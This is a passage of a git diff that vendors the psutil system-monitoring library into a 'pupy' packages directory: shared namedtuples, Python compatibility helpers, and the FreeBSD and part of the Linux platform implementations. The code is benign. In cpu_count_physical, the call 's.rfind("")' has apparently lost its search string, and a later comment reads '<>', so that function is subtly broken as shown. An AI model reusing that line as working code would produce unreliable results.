AF_INET6], [SOCK_STREAM, SOCK_DGRAM]), + "inet4": ([AF_INET], [SOCK_STREAM, SOCK_DGRAM]), + "inet6": ([AF_INET6], [SOCK_STREAM, SOCK_DGRAM]), +} + +if AF_INET6 is not None: + conn_tmap.update({ + "tcp6": ([AF_INET6], [SOCK_STREAM]), + "udp6": ([AF_INET6], [SOCK_DGRAM]), + }) + +if AF_UNIX is not None: + conn_tmap.update({ + "unix": ([AF_UNIX], [SOCK_STREAM, SOCK_DGRAM]), + }) + +del AF_INET, AF_INET6, AF_UNIX, SOCK_STREAM, SOCK_DGRAM + + +# --- namedtuples for psutil.* system-related functions + +# psutil.swap_memory() +sswap = namedtuple('sswap', ['total', 'used', 'free', 'percent', 'sin', + 'sout']) +# psutil.disk_usage() +sdiskusage = namedtuple('sdiskusage', ['total', 'used', 'free', 'percent']) +# psutil.disk_io_counters() +sdiskio = namedtuple('sdiskio', ['read_count', 'write_count', + 'read_bytes', 'write_bytes', + 'read_time', 'write_time']) +# psutil.disk_partitions() +sdiskpart = namedtuple('sdiskpart', ['device', 'mountpoint', 'fstype', 'opts']) +# psutil.net_io_counters() +snetio = namedtuple('snetio', ['bytes_sent', 'bytes_recv', + 'packets_sent', 'packets_recv', + 'errin', 'errout', + 'dropin', 'dropout']) +# psutil.users() +suser = namedtuple('suser', ['name', 'terminal', 'host', 'started']) +# psutil.net_connections() +sconn = namedtuple('sconn', ['fd', 'family', 'type', 'laddr', 'raddr', + 'status', 'pid']) +# psutil.net_if_addrs() +snic = namedtuple('snic', ['family', 'address', 'netmask', 'broadcast', 'ptp']) +# psutil.net_if_stats() +snicstats = namedtuple('snicstats', ['isup', 'duplex', 'speed', 'mtu']) + + +# --- namedtuples for psutil.Process methods + +# psutil.Process.memory_info() +pmem = namedtuple('pmem', ['rss', 'vms']) +# psutil.Process.cpu_times() +pcputimes = namedtuple('pcputimes', ['user', 'system']) +# psutil.Process.open_files() +popenfile = namedtuple('popenfile', ['path', 'fd']) +# psutil.Process.threads() +pthread = namedtuple('pthread', ['id', 'user_time', 'system_time']) +# psutil.Process.uids() +puids = namedtuple('puids', ['real', 'effective', 'saved']) +# psutil.Process.gids() +pgids = namedtuple('pgids', ['real', 'effective', 'saved']) +# psutil.Process.io_counters() +pio = namedtuple('pio', ['read_count', 'write_count', + 'read_bytes', 'write_bytes']) +# psutil.Process.ionice() +pionice = namedtuple('pionice', ['ioclass', 'value']) +# psutil.Process.ctx_switches() +pctxsw = namedtuple('pctxsw', ['voluntary', 'involuntary']) +# psutil.Process.connections() +pconn = namedtuple('pconn', ['fd', 'family', 'type', 'laddr', 'raddr', + 'status']) diff --git a/pupy/packages/windows/x86/psutil/_compat.py b/pupy/packages/windows/x86/psutil/_compat.py new file mode 100755 index 00000000..38744a84 --- /dev/null +++ b/pupy/packages/windows/x86/psutil/_compat.py @@ -0,0 +1,189 @@ +#!/usr/bin/env python + +# Copyright (c) 2009, Giampaolo Rodola'. All rights reserved. +# Use of this source code is governed by a BSD-style license that can be +# found in the LICENSE file. + +"""Module which provides compatibility with older Python versions.""" + +import collections +import functools +import sys + +__all__ = ["PY3", "long", "xrange", "unicode", "callable", "lru_cache"] + +PY3 = sys.version_info[0] == 3 + +if PY3: + long = int + xrange = range + unicode = str + + def u(s): + return s +else: + long = long + xrange = xrange + unicode = unicode + + def u(s): + return unicode(s, "unicode_escape") + + +# removed in 3.0, reintroduced in 3.2 +try: + callable = callable +except NameError: + def callable(obj): + return any("__call__" in klass.__dict__ for klass in type(obj).__mro__) + + +# --- stdlib additions + + +# py 3.2 functools.lru_cache +# Taken from: http://code.activestate.com/recipes/578078 +# Credit: Raymond Hettinger +try: + from functools import lru_cache +except ImportError: + try: + from threading import RLock + except ImportError: + from dummy_threading import RLock + + _CacheInfo = collections.namedtuple( + "CacheInfo", ["hits", "misses", "maxsize", "currsize"]) + + class _HashedSeq(list): + __slots__ = 'hashvalue' + + def __init__(self, tup, hash=hash): + self[:] = tup + self.hashvalue = hash(tup) + + def __hash__(self): + return self.hashvalue + + def _make_key(args, kwds, typed, + kwd_mark=(object(), ), + fasttypes=set((int, str, frozenset, type(None))), + sorted=sorted, tuple=tuple, type=type, len=len): + key = args + if kwds: + sorted_items = sorted(kwds.items()) + key += kwd_mark + for item in sorted_items: + key += item + if typed: + key += tuple(type(v) for v in args) + if kwds: + key += tuple(type(v) for k, v in sorted_items) + elif len(key) == 1 and type(key[0]) in fasttypes: + return key[0] + return _HashedSeq(key) + + def lru_cache(maxsize=100, typed=False): + """Least-recently-used cache decorator, see: + http://docs.python.org/3/library/functools.html#functools.lru_cache + """ + def decorating_function(user_function): + cache = dict() + stats = [0, 0] + HITS, MISSES = 0, 1 + make_key = _make_key + cache_get = cache.get + _len = len + lock = RLock() + root = [] + root[:] = [root, root, None, None] + nonlocal_root = [root] + PREV, NEXT, KEY, RESULT = 0, 1, 2, 3 + if maxsize == 0: + def wrapper(*args, **kwds): + result = user_function(*args, **kwds) + stats[MISSES] += 1 + return result + elif maxsize is None: + def wrapper(*args, **kwds): + key = make_key(args, kwds, typed) + result = cache_get(key, root) + if result is not root: + stats[HITS] += 1 + return result + result = user_function(*args, **kwds) + cache[key] = result + stats[MISSES] += 1 + return result + else: + def wrapper(*args, **kwds): + if kwds or typed: + key = make_key(args, kwds, typed) + else: + key = args + lock.acquire() + try: + link = cache_get(key) + if link is not None: + root, = nonlocal_root + link_prev, link_next, key, result = link + link_prev[NEXT] = link_next + link_next[PREV] = link_prev + last = root[PREV] + last[NEXT] = root[PREV] = link + link[PREV] = last + link[NEXT] = root + stats[HITS] += 1 + return result + finally: + lock.release() + result = user_function(*args, **kwds) + lock.acquire() + try: + root, = nonlocal_root + if key in cache: + pass + elif _len(cache) >= maxsize: + oldroot = root + oldroot[KEY] = key + oldroot[RESULT] = result + root = nonlocal_root[0] = oldroot[NEXT] + oldkey = root[KEY] + root[KEY] = root[RESULT] = None + del cache[oldkey] + cache[key] = oldroot + else: + last = root[PREV] + link = [last, root, key, result] + last[NEXT] = root[PREV] = cache[key] = link + stats[MISSES] += 1 + finally: + lock.release() + return result + + def cache_info(): + """Report cache statistics""" + lock.acquire() + try: + return _CacheInfo(stats[HITS], stats[MISSES], maxsize, + len(cache)) + finally: + lock.release() + + def cache_clear(): + """Clear the cache and cache statistics""" + lock.acquire() + try: + cache.clear() + root = nonlocal_root[0] + root[:] = [root, root, None, None] + stats[:] = [0, 0] + finally: + lock.release() + + wrapper.__wrapped__ = user_function + wrapper.cache_info = cache_info + wrapper.cache_clear = cache_clear + return functools.update_wrapper(wrapper, user_function) + + return decorating_function diff --git a/pupy/packages/windows/x86/psutil/_psbsd.py b/pupy/packages/windows/x86/psutil/_psbsd.py new file mode 100755 index 00000000..db54a02e --- /dev/null +++ b/pupy/packages/windows/x86/psutil/_psbsd.py @@ -0,0 +1,455 @@ +#!/usr/bin/env python + +# Copyright (c) 2009, Giampaolo Rodola'. All rights reserved. +# Use of this source code is governed by a BSD-style license that can be +# found in the LICENSE file. + +"""FreeBSD platform implementation.""" + +import errno +import functools +import os +import xml.etree.ElementTree as ET +from collections import namedtuple + +from . import _common +from . import _psposix +from . import _psutil_bsd as cext +from . import _psutil_posix as cext_posix +from ._common import conn_tmap, usage_percent, sockfam_to_enum +from ._common import socktype_to_enum + + +__extra__all__ = [] + +# --- constants + +PROC_STATUSES = { + cext.SSTOP: _common.STATUS_STOPPED, + cext.SSLEEP: _common.STATUS_SLEEPING, + cext.SRUN: _common.STATUS_RUNNING, + cext.SIDL: _common.STATUS_IDLE, + cext.SWAIT: _common.STATUS_WAITING, + cext.SLOCK: _common.STATUS_LOCKED, + cext.SZOMB: _common.STATUS_ZOMBIE, +} + +TCP_STATUSES = { + cext.TCPS_ESTABLISHED: _common.CONN_ESTABLISHED, + cext.TCPS_SYN_SENT: _common.CONN_SYN_SENT, + cext.TCPS_SYN_RECEIVED: _common.CONN_SYN_RECV, + cext.TCPS_FIN_WAIT_1: _common.CONN_FIN_WAIT1, + cext.TCPS_FIN_WAIT_2: _common.CONN_FIN_WAIT2, + cext.TCPS_TIME_WAIT: _common.CONN_TIME_WAIT, + cext.TCPS_CLOSED: _common.CONN_CLOSE, + cext.TCPS_CLOSE_WAIT: _common.CONN_CLOSE_WAIT, + cext.TCPS_LAST_ACK: _common.CONN_LAST_ACK, + cext.TCPS_LISTEN: _common.CONN_LISTEN, + cext.TCPS_CLOSING: _common.CONN_CLOSING, + cext.PSUTIL_CONN_NONE: _common.CONN_NONE, +} + +PAGESIZE = os.sysconf("SC_PAGE_SIZE") +AF_LINK = cext_posix.AF_LINK + +# extend base mem ntuple with BSD-specific memory metrics +svmem = namedtuple( + 'svmem', ['total', 'available', 'percent', 'used', 'free', + 'active', 'inactive', 'buffers', 'cached', 'shared', 'wired']) +scputimes = namedtuple( + 'scputimes', ['user', 'nice', 'system', 'idle', 'irq']) +pextmem = namedtuple('pextmem', ['rss', 'vms', 'text', 'data', 'stack']) +pmmap_grouped = namedtuple( + 'pmmap_grouped', 'path rss, private, ref_count, shadow_count') +pmmap_ext = namedtuple( + 'pmmap_ext', 'addr, perms path rss, private, ref_count, shadow_count') + +# set later from __init__.py +NoSuchProcess = None +ZombieProcess = None +AccessDenied = None +TimeoutExpired = None + + +def virtual_memory(): + """System virtual memory as a namedtuple.""" + mem = cext.virtual_mem() + total, free, active, inactive, wired, cached, buffers, shared = mem + avail = inactive + cached + free + used = active + wired + cached + percent = usage_percent((total - avail), total, _round=1) + return svmem(total, avail, percent, used, free, + active, inactive, buffers, cached, shared, wired) + + +def swap_memory(): + """System swap memory as (total, used, free, sin, sout) namedtuple.""" + total, used, free, sin, sout = [x * PAGESIZE for x in cext.swap_mem()] + percent = usage_percent(used, total, _round=1) + return _common.sswap(total, used, free, percent, sin, sout) + + +def cpu_times(): + """Return system per-CPU times as a namedtuple""" + user, nice, system, idle, irq = cext.cpu_times() + return scputimes(user, nice, system, idle, irq) + + +if hasattr(cext, "per_cpu_times"): + def per_cpu_times(): + """Return system CPU times as a namedtuple""" + ret = [] + for cpu_t in cext.per_cpu_times(): + user, nice, system, idle, irq = cpu_t + item = scputimes(user, nice, system, idle, irq) + ret.append(item) + return ret +else: + # XXX + # Ok, this is very dirty. + # On FreeBSD < 8 we cannot gather per-cpu information, see: + # https://github.com/giampaolo/psutil/issues/226 + # If num cpus > 1, on first call we return single cpu times to avoid a + # crash at psutil import time. + # Next calls will fail with NotImplementedError + def per_cpu_times(): + if cpu_count_logical() == 1: + return [cpu_times()] + if per_cpu_times.__called__: + raise NotImplementedError("supported only starting from FreeBSD 8") + per_cpu_times.__called__ = True + return [cpu_times()] + + per_cpu_times.__called__ = False + + +def cpu_count_logical(): + """Return the number of logical CPUs in the system.""" + return cext.cpu_count_logical() + + +def cpu_count_physical(): + """Return the number of physical CPUs in the system.""" + # From the C module we'll get an XML string similar to this: + # http://manpages.ubuntu.com/manpages/precise/man4/smp.4freebsd.html + # We may get None in case "sysctl kern.sched.topology_spec" + # is not supported on this BSD version, in which case we'll mimic + # os.cpu_count() and return None. + ret = None + s = cext.cpu_count_phys() + if s is not None: + # get rid of padding chars appended at the end of the string + index = s.rfind("") + if index != -1: + s = s[:index + 9] + root = ET.fromstring(s) + try: + ret = len(root.findall('group/children/group/cpu')) or None + finally: + # needed otherwise it will memleak + root.clear() + if not ret: + # If logical CPUs are 1 it's obvious we'll have only 1 + # physical CPU. + if cpu_count_logical() == 1: + return 1 + return ret + + +def boot_time(): + """The system boot time expressed in seconds since the epoch.""" + return cext.boot_time() + + +def disk_partitions(all=False): + retlist = [] + partitions = cext.disk_partitions() + for partition in partitions: + device, mountpoint, fstype, opts = partition + if device == 'none': + device = '' + if not all: + if not os.path.isabs(device) or not os.path.exists(device): + continue + ntuple = _common.sdiskpart(device, mountpoint, fstype, opts) + retlist.append(ntuple) + return retlist + + +def users(): + retlist = [] + rawlist = cext.users() + for item in rawlist: + user, tty, hostname, tstamp = item + if tty == '~': + continue # reboot or shutdown + nt = _common.suser(user, tty or None, hostname, tstamp) + retlist.append(nt) + return retlist + + +def net_connections(kind): + if kind not in _common.conn_tmap: + raise ValueError("invalid %r kind argument; choose between %s" + % (kind, ', '.join([repr(x) for x in conn_tmap]))) + families, types = conn_tmap[kind] + ret = set() + rawlist = cext.net_connections() + for item in rawlist: + fd, fam, type, laddr, raddr, status, pid = item + # TODO: apply filter at C level + if fam in families and type in types: + try: + status = TCP_STATUSES[status] + except KeyError: + # XXX: Not sure why this happens. I saw this occurring + # with IPv6 sockets opened by 'vim'. Those sockets + # have a very short lifetime so maybe the kernel + # can't initialize their status? + status = TCP_STATUSES[cext.PSUTIL_CONN_NONE] + fam = sockfam_to_enum(fam) + type = socktype_to_enum(type) + nt = _common.sconn(fd, fam, type, laddr, raddr, status, pid) + ret.add(nt) + return list(ret) + + +def net_if_stats(): + """Get NIC stats (isup, duplex, speed, mtu).""" + names = net_io_counters().keys() + ret = {} + for name in names: + isup, duplex, speed, mtu = cext_posix.net_if_stats(name) + if hasattr(_common, 'NicDuplex'): + duplex = _common.NicDuplex(duplex) + ret[name] = _common.snicstats(isup, duplex, speed, mtu) + return ret + + +pids = cext.pids +pid_exists = _psposix.pid_exists +disk_usage = _psposix.disk_usage +net_io_counters = cext.net_io_counters +disk_io_counters = cext.disk_io_counters +net_if_addrs = cext_posix.net_if_addrs + + +def wrap_exceptions(fun): + """Decorator which translates bare OSError exceptions into + NoSuchProcess and AccessDenied. + """ + @functools.wraps(fun) + def wrapper(self, *args, **kwargs): + try: + return fun(self, *args, **kwargs) + except OSError as err: + # support for private module import + if (NoSuchProcess is None or AccessDenied is None or + ZombieProcess is None): + raise + if err.errno == errno.ESRCH: + if not pid_exists(self.pid): + raise NoSuchProcess(self.pid, self._name) + else: + raise ZombieProcess(self.pid, self._name, self._ppid) + if err.errno in (errno.EPERM, errno.EACCES): + raise AccessDenied(self.pid, self._name) + raise + return wrapper + + +class Process(object): + """Wrapper class around underlying C implementation.""" + + __slots__ = ["pid", "_name", "_ppid"] + + def __init__(self, pid): + self.pid = pid + self._name = None + self._ppid = None + + @wrap_exceptions + def name(self): + return cext.proc_name(self.pid) + + @wrap_exceptions + def exe(self): + return cext.proc_exe(self.pid) + + @wrap_exceptions + def cmdline(self): + return cext.proc_cmdline(self.pid) + + @wrap_exceptions + def terminal(self): + tty_nr = cext.proc_tty_nr(self.pid) + tmap = _psposix._get_terminal_map() + try: + return tmap[tty_nr] + except KeyError: + return None + + @wrap_exceptions + def ppid(self): + return cext.proc_ppid(self.pid) + + @wrap_exceptions + def uids(self): + real, effective, saved = cext.proc_uids(self.pid) + return _common.puids(real, effective, saved) + + @wrap_exceptions + def gids(self): + real, effective, saved = cext.proc_gids(self.pid) + return _common.pgids(real, effective, saved) + + @wrap_exceptions + def cpu_times(self): + user, system = cext.proc_cpu_times(self.pid) + return _common.pcputimes(user, system) + + @wrap_exceptions + def memory_info(self): + rss, vms = cext.proc_memory_info(self.pid)[:2] + return _common.pmem(rss, vms) + + @wrap_exceptions + def memory_info_ex(self): + return pextmem(*cext.proc_memory_info(self.pid)) + + @wrap_exceptions + def create_time(self): + return cext.proc_create_time(self.pid) + + @wrap_exceptions + def num_threads(self): + return cext.proc_num_threads(self.pid) + + @wrap_exceptions + def num_ctx_switches(self): + return _common.pctxsw(*cext.proc_num_ctx_switches(self.pid)) + + @wrap_exceptions + def threads(self): + rawlist = cext.proc_threads(self.pid) + retlist = [] + for thread_id, utime, stime in rawlist: + ntuple = _common.pthread(thread_id, utime, stime) + retlist.append(ntuple) + return retlist + + @wrap_exceptions + def connections(self, kind='inet'): + if kind not in conn_tmap: + raise ValueError("invalid %r kind argument; choose between %s" + % (kind, ', '.join([repr(x) for x in conn_tmap]))) + families, types = conn_tmap[kind] + rawlist = cext.proc_connections(self.pid, families, types) + ret = [] + for item in rawlist: + fd, fam, type, laddr, raddr, status = item + fam = sockfam_to_enum(fam) + type = socktype_to_enum(type) + status = TCP_STATUSES[status] + nt = _common.pconn(fd, fam, type, laddr, raddr, status) + ret.append(nt) + return ret + + @wrap_exceptions + def wait(self, timeout=None): + try: + return _psposix.wait_pid(self.pid, timeout) + except _psposix.TimeoutExpired: + # support for private module import + if TimeoutExpired is None: + raise + raise TimeoutExpired(timeout, self.pid, self._name) + + @wrap_exceptions + def nice_get(self): + return cext_posix.getpriority(self.pid) + + @wrap_exceptions + def nice_set(self, value): + return cext_posix.setpriority(self.pid, value) + + @wrap_exceptions + def status(self): + code = cext.proc_status(self.pid) + if code in PROC_STATUSES: + return PROC_STATUSES[code] + # XXX is this legit? will we even ever get here? + return "?" + + @wrap_exceptions + def io_counters(self): + rc, wc, rb, wb = cext.proc_io_counters(self.pid) + return _common.pio(rc, wc, rb, wb) + + nt_mmap_grouped = namedtuple( + 'mmap', 'path rss, private, ref_count, shadow_count') + nt_mmap_ext = namedtuple( + 'mmap', 'addr, perms path rss, private, ref_count, shadow_count') + + # FreeBSD < 8 does not support functions based on kinfo_getfile() + # and kinfo_getvmmap() + if hasattr(cext, 'proc_open_files'): + + @wrap_exceptions + def open_files(self): + """Return files opened by process as a list of namedtuples.""" + rawlist = cext.proc_open_files(self.pid) + return [_common.popenfile(path, fd) for path, fd in rawlist] + + @wrap_exceptions + def cwd(self): + """Return process current working directory.""" + # sometimes we get an empty string, in which case we turn + # it into None + return cext.proc_cwd(self.pid) or None + + @wrap_exceptions + def memory_maps(self): + return cext.proc_memory_maps(self.pid) + + @wrap_exceptions + def num_fds(self): + """Return the number of file descriptors opened by this process.""" + return cext.proc_num_fds(self.pid) + + else: + def _not_implemented(self): + raise NotImplementedError("supported only starting from FreeBSD 8") + + open_files = _not_implemented + proc_cwd = _not_implemented + memory_maps = _not_implemented + num_fds = _not_implemented + + @wrap_exceptions + def cpu_affinity_get(self): + return cext.proc_cpu_affinity_get(self.pid) + + @wrap_exceptions + def cpu_affinity_set(self, cpus): + # Pre-emptively check if CPUs are valid because the C + # function has a weird behavior in case of invalid CPUs, + # see: https://github.com/giampaolo/psutil/issues/586 + allcpus = tuple(range(len(per_cpu_times()))) + for cpu in cpus: + if cpu not in allcpus: + raise ValueError("invalid CPU #%i (choose between %s)" + % (cpu, allcpus)) + try: + cext.proc_cpu_affinity_set(self.pid, cpus) + except OSError as err: + # 'man cpuset_setaffinity' about EDEADLK: + # <> + if err.errno in (errno.EINVAL, errno.EDEADLK): + for cpu in cpus: + if cpu not in allcpus: + raise ValueError("invalid CPU #%i (choose between %s)" + % (cpu, allcpus)) + raise diff --git a/pupy/packages/windows/x86/psutil/_pslinux.py b/pupy/packages/windows/x86/psutil/_pslinux.py new file mode 100755 index 00000000..8356cf95 --- /dev/null +++ b/pupy/packages/windows/x86/psutil/_pslinux.py @@ -0,0 +1,1215 @@ +#!/usr/bin/env python + +# Copyright (c) 2009, Giampaolo Rodola'. All rights reserved. +# Use of this source code is governed by a BSD-style license that can be +# found in the LICENSE file. + +"""Linux platform implementation.""" + +from __future__ import division + +import base64 +import errno +import functools +import os +import re +import socket +import struct +import sys +import warnings +from collections import namedtuple, defaultdict + +from . import _common +from . import _psposix +from . import _psutil_linux as cext +from . import _psutil_posix as cext_posix +from ._common import isfile_strict, usage_percent +from ._common import NIC_DUPLEX_FULL, NIC_DUPLEX_HALF, NIC_DUPLEX_UNKNOWN +from ._compat import PY3, long + +if sys.version_info >= (3, 4): + import enum +else: + enum = None + + +__extra__all__ = [ + # io prio constants + "IOPRIO_CLASS_NONE", "IOPRIO_CLASS_RT", "IOPRIO_CLASS_BE", + "IOPRIO_CLASS_IDLE", + # connection status constants + "CONN_ESTABLISHED", "CONN_SYN_SENT", "CONN_SYN_RECV", "CONN_FIN_WAIT1", + "CONN_FIN_WAIT2", "CONN_TIME_WAIT", "CONN_CLOSE", "CONN_CLOSE_WAIT", + "CONN_LAST_ACK", "CONN_LISTEN", "CONN_CLOSING", ] + +# --- constants + +HAS_PRLIMIT = hasattr(cext, "linux_prlimit") + +# RLIMIT_* constants, not guaranteed to be present on all kernels +if HAS_PRLIMIT: + for name in dir(cext): + if name.startswith('RLIM'): + __extra__all__.append(name) + +# Number of clock ticks per second +CLOCK_TICKS = os.sysconf("SC_CLK_TCK") +PAGESIZE = os.sysconf("SC_PAGE_SIZE") +BOOT_TIME = None # set later +if PY3: + FS_ENCODING = sys.getfilesystemencoding() +if enum is None: + AF_LINK = socket.AF_PACKET +else: + AddressFamily = enum.IntEnum('AddressFamily', + {'AF_LINK': socket.AF_PACKET}) + AF_LINK = AddressFamily.AF_LINK + +# ioprio_* constants http://linux.die.net/man/2/ioprio_get +if enum is None: + IOPRIO_CLASS_NONE = 0 + IOPRIO_CLASS_RT = 1 + IOPRIO_CLASS_BE = 2 + IOPRIO_CLASS_IDLE = 3 +else: + class IOPriority(enum.IntEnum): + IOPRIO_CLASS_NONE = 0 + IOPRIO_CLASS_RT = 1 + IOPRIO_CLASS_BE = 2 + IOPRIO_CLASS_IDLE = 3 + + globals().update(IOPriority.__members__) + +# taken from /fs/proc/array.c +PROC_STATUSES = { + "R": _common.STATUS_RUNNING, + "S": _common.STATUS_SLEEPING, + "D": _common.STATUS_DISK_SLEEP, + "T": _common.STATUS_STOPPED, + "t": _common.STATUS_TRACING_STOP, + "Z": _common.STATUS_ZOMBIE, + "X": _common.STATUS_DEAD, + "x": _common.STATUS_DEAD, + "K": _common.STATUS_WAKE_KILL, + "W": _common.STATUS_WAKING +} + +# http://students.mimuw.edu.pl/lxr/source/include/net/tcp_states.h +TCP_STATUSES = { + "01": _common.CONN_ESTABLISHED, + "02": _common.CONN_SYN_SENT, + "03": _common.CONN_SYN_RECV, + "04": _common.CONN_FIN_WAIT1, + "05": _common.CONN_FIN_WAIT2, + "06": _common.CONN_TIME_WAIT, + "07": _common.CONN_CLOSE, + "08": _common.CONN_CLOSE_WAIT, + "09": _common.CONN_LAST_ACK, + "0A": _common.CONN_LISTEN, + "0B": _common.CONN_CLOSING +} + +# set later from __init__.py +NoSuchProcess = None +ZombieProcess = None +AccessDenied = None +TimeoutExpired = None + + +# --- utils + +def open_text(fname): + """On Python 3 opens a file in text mode by using fs encoding. + On Python 2 this is just an alias for open(name, 'rt'). + """ + kw = dict(encoding=FS_ENCODING) if PY3 else dict() + return open(fname, "rt", **kw) + + +# --- named tuples + +def _get_cputimes_fields(): + """Return a namedtuple of variable fields depending on the + CPU times available on this Linux kernel version which may be: + (user, nice, system, idle, iowait, irq, softirq, [steal, [guest, + [guest_nice]]]) + """ + with open('/proc/stat', 'rb') as f: + values = f.readline().split()[1:] + fields = ['user', 'nice', 'system', 'idle', 'iowait', 'irq', 'softirq'] + vlen = len(values) + if vlen >= 8: + # Linux >= 2.6.11 + fields.append('steal') + if vlen >= 9: + # Linux >= 2.6.24 + fields.append('guest') + if vlen >= 10: + # Linux >= 3.2.0 + fields.append('guest_nice') + return fields + + +scputimes = namedtuple('scputimes', _get_cputimes_fields()) + +svmem = namedtuple( + 'svmem', ['total', 'available', 'percent', 'used', 'free', + 'active', 'inactive', 'buffers', 'cached']) + +pextmem = namedtuple('pextmem', 'rss vms shared text lib data dirty') + +pmmap_grouped = namedtuple( + 'pmmap_grouped', ['path', 'rss', 'size', 'pss', 'shared_clean', + 'shared_dirty', 'private_clean', 'private_dirty', + 'referenced', 'anonymous', 'swap']) + +pmmap_ext = namedtuple( + 'pmmap_ext', 'addr perms ' + ' '.join(pmmap_grouped._fields)) + + +# --- system memory + +def virtual_memory(): + total, free, buffers, shared, _, _ = cext.linux_sysinfo() + cached = active = inactive = None + with open('/proc/meminfo', 'rb') as f: + for line in f: + if line.startswith(b"Cached:"): + cached = int(line.split()[1]) * 1024 + elif line.startswith(b"Active:"): + active = int(line.split()[1]) * 1024 + elif line.startswith(b"Inactive:"): + inactive = int(line.split()[1]) * 1024 + if (cached is not None and + active is not None and + inactive is not None): + break + else: + # we might get here when dealing with exotic Linux flavors, see: + # https://github.com/giampaolo/psutil/issues/313 + msg = "'cached', 'active' and 'inactive' memory stats couldn't " \ + "be determined and were set to 0" + warnings.warn(msg, RuntimeWarning) + cached = active = inactive = 0 + avail = free + buffers + cached + used = total - free + percent = usage_percent((total - avail), total, _round=1) + return svmem(total, avail, percent, used, free, + active, inactive, buffers, cached) + + +def swap_memory(): + _, _, _, _, total, free = cext.linux_sysinfo() + used = total - free + percent = usage_percent(used, total, _round=1) + # get pgin/pgouts + with open("/proc/vmstat", "rb") as f: + sin = sout = None + for line in f: + # values are expressed in 4 kilo bytes, we want bytes instead + if line.startswith(b'pswpin'): + sin = int(line.split(b' ')[1]) * 4 * 1024 + elif line.startswith(b'pswpout'): + sout = int(line.split(b' ')[1]) * 4 * 1024 + if sin is not None and sout is not None: + break + else: + # we might get here when dealing with exotic Linux flavors, see: + # https://github.com/giampaolo/psutil/issues/313 + msg = "'sin' and 'sout' swap memory stats couldn't " \ + "be determined and were set to 0" + warnings.warn(msg, RuntimeWarning) + sin = sout = 0 + return _common.sswap(total, used, free, percent, sin, sout) + + +# --- CPUs + +def cpu_times(): + """Return a named tuple representing the following system-wide + CPU times: + (user, nice, system, idle, iowait, irq, softirq [steal, [guest, + [guest_nice]]]) + Last 3 fields may not be available on all Linux kernel versions. + """ + with open('/proc/stat', 'rb') as f: + values = f.readline().split() + fields = values[1:len(scputimes._fields) + 1] + fields = [float(x) / CLOCK_TICKS for x in fields] + return scputimes(*fields) + + +def per_cpu_times(): + """Return a list of namedtuple representing the CPU times + for every CPU available on the system. + """ + cpus = [] + with open('/proc/stat', 'rb') as f: + # get rid of the first line which refers to system wide CPU stats + f.readline() + for line in f: + if line.startswith(b'cpu'): + values = line.split() + fields = values[1:len(scputimes._fields) + 1] + fields = [float(x) / CLOCK_TICKS for x in fields] + entry = scputimes(*fields) + cpus.append(entry) + return cpus + + +def cpu_count_logical(): + """Return the number of logical CPUs in the system.""" + try: + return os.sysconf("SC_NPROCESSORS_ONLN") + except ValueError: + # as a second fallback we try to parse /proc/cpuinfo + num = 0 + with open('/proc/cpuinfo', 'rb') as f: + for line in f: + if line.lower().startswith(b'processor'): + num += 1 + + # unknown format (e.g. amrel/sparc architectures), see: + # https://github.com/giampaolo/psutil/issues/200 + # try to parse /proc/stat as a last resort + if num == 0: + search = re.compile('cpu\d') + with open_text('/proc/stat') as f: + for line in f: + line = line.split(' ')[0] + if search.match(line): + num += 1 + + if num == 0: + # mimic os.cpu_count() + return None + return num + + +def cpu_count_physical(): + """Return the number of physical cores in the system.""" + mapping = {} + current_info = {} + with open('/proc/cpuinfo', 'rb') as f: + for line in f: + line = line.strip().lower() + if not line: + # new section + if (b'physical id' in current_info and + b'cpu cores' in current_info): + mapping[current_info[b'physical id']] = \ + current_info[b'cpu cores'] + current_info = {} + else: + # ongoing section + if (line.startswith(b'physical id') or + line.startswith(b'cpu cores')): + key, value = line.split(b'\t:', 1) + current_info[key] = int(value) + + # mimic os.cpu_count() + return sum(mapping.values()) or None + + +# --- other system functions + +def users(): + """Return currently connected users as a list of namedtuples.""" + retlist = [] + rawlist = cext.users() + for item in rawlist: + user, tty, hostname, tstamp, user_process = item + # note: the underlying C function includes entries about + # system boot, run level and others. We might want + # to use them in the future. + if not user_process: + continue + if hostname == ':0.0' or hostname == ':0': + hostname = 'localhost' + nt = _common.suser(user, tty or None, hostname, tstamp) + retlist.append(nt) + return retlist + + +def boot_time(): + """Return the system boot time expressed in seconds since the epoch.""" + global BOOT_TIME + with open('/proc/stat', 'rb') as f: + for line in f: + if line.startswith(b'btime'): + ret = float(line.strip().split()[1]) + BOOT_TIME = ret + return ret + raise RuntimeError("line 'btime' not found in /proc/stat") + + +# --- processes + +def pids(): + """Returns a list of PIDs currently running on the system.""" + return [int(x) for x in os.listdir(b'/proc') if x.isdigit()] + + +def pid_exists(pid): + """Check For the existence of a unix pid.""" + return _psposix.pid_exists(pid) + + +# --- network + +class Connections: + """A wrapper on top of /proc/net/* files, retrieving per-process + and system-wide open connections (TCP, UDP, UNIX) similarly to + "netstat -an". + + Note: in case of UNIX sockets we're only able to determine the + local endpoint/path, not the one it's connected to. + According to [1] it would be possible but not easily. + + [1] http://serverfault.com/a/417946 + """ + + def __init__(self): + tcp4 = ("tcp", socket.AF_INET, socket.SOCK_STREAM) + tcp6 = ("tcp6", socket.AF_INET6, socket.SOCK_STREAM) + udp4 = ("udp", socket.AF_INET, socket.SOCK_DGRAM) + udp6 = ("udp6", socket.AF_INET6, socket.SOCK_DGRAM) + unix = ("unix", socket.AF_UNIX, None) + self.tmap = { + "all": (tcp4, tcp6, udp4, udp6, unix), + "tcp": (tcp4, tcp6), + "tcp4": (tcp4,), + "tcp6": (tcp6,), + "udp": (udp4, udp6), + "udp4": (udp4,), + "udp6": (udp6,), + "unix": (unix,), + "inet": (tcp4, tcp6, udp4, udp6), + "inet4": (tcp4, udp4), + "inet6": (tcp6, udp6), + } + + def get_proc_inodes(self, pid): + inodes = defaultdict(list) + for fd in os.listdir("/proc/%s/fd" % pid): + try: + inode = os.readlink("/proc/%s/fd/%s" % (pid, fd)) + except OSError as err: + # ENOENT == file which is gone in the meantime; + # os.stat('/proc/%s' % self.pid) will be done later + # to force NSP (if it's the case) + if err.errno in (errno.ENOENT, errno.ESRCH): + continue + elif err.errno == errno.EINVAL: + # not a link + continue + else: + raise + else: + if inode.startswith('socket:['): + # the process is using a socket + inode = inode[8:][:-1] + inodes[inode].append((pid, int(fd))) + return inodes + + def get_all_inodes(self): + inodes = {} + for pid in pids(): + try: + inodes.update(self.get_proc_inodes(pid)) + except OSError as err: + # os.listdir() is gonna raise a lot of access denied + # exceptions in case of unprivileged user; that's fine + # as we'll just end up returning a connection with PID + # and fd set to None anyway. + # Both netstat 